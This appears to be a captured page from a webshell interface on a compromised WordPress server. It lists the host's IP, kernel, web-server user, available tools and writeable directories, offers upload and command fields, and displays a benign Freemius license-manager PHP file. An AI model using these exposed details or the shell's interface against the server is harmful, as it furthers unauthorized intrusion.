403Webshell
Server IP : 15.235.198.142  /  Your IP : 216.73.216.190
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ballsack 6.8.0-45-generic #45-Ubuntu SMP PREEMPT_DYNAMIC Fri Aug 30 12:02:04 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/2of3/wp-content/plugins/nobj405n/freemius/includes/managers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/2of3/wp-content/plugins/nobj405n/freemius/includes/managers/class-fs-license-manager.php
<?php
	/**
	 * @package     Freemius
	 * @copyright   Copyright (c) 2015, Freemius, Inc.
	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
	 * @since       1.0.6
	 */

	if ( ! defined( 'ABSPATH' ) ) {
		exit;
	}

	class FS_License_Manager /*extends FS_Abstract_Manager*/
	{
//
//
//		/**
//		 * @var FS_License_Manager[]
//		 */
//		private static $_instances = array();
//
//		static function instance( Freemius $fs ) {
//			$slug = strtolower( $fs->get_slug() );
//
//			if ( ! isset( self::$_instances[ $slug ] ) ) {
//				self::$_instances[ $slug ] = new FS_License_Manager( $slug, $fs );
//			}
//
//			return self::$_instances[ $slug ];
//		}
//
////		private function __construct($slug) {
////			parent::__construct($slug);
////		}
//
//		function entry_id() {
//			return 'licenses';
//		}
//
//		function sync( $id ) {
//
//		}
//
//		/**
//		 * @author Vova Feldman (@svovaf)
//		 * @since  1.0.5
//		 * @uses   FS_Api
//		 *
//		 * @param number|bool $plugin_id
//		 *
//		 * @return FS_Plugin_License[]|stdClass Licenses or API error.
//		 */
//		function api_get_user_plugin_licenses( $plugin_id = false ) {
//			$api = $this->_fs->get_api_user_scope();
//
//			if ( ! is_numeric( $plugin_id ) ) {
//				$plugin_id = $this->_fs->get_id();
//			}
//
//			$result = $api->call( "/plugins/{$plugin_id}/licenses.json" );
//
//			if ( ! isset( $result->error ) ) {
//				for ( $i = 0, $len = count( $result->licenses ); $i < $len; $i ++ ) {
//					$result->licenses[ $i ] = new FS_Plugin_License( $result->licenses[ $i ] );
//				}
//
//				$result = $result->licenses;
//			}
//
//			return $result;
//		}
//
//		function api_get_many() {
//
//		}
//
//		function api_activate( $id ) {
//
//		}
//
//		function api_deactivate( $id ) {
//
//		}

		/**
		 * @param FS_Plugin_License[] $licenses
		 *
		 * @return bool
		 */
		static function has_premium_license( $licenses ) {
			if ( is_array( $licenses ) ) {
				foreach ( $licenses as $license ) {
					/**
					 * @var FS_Plugin_License $license
					 */
					if ( ! $license->is_utilized() && $license->is_features_enabled() ) {
						return true;
					}
				}
			}

			return false;
		}
	}

Youez - 2016 - github.com/yon3zu
LinuXploit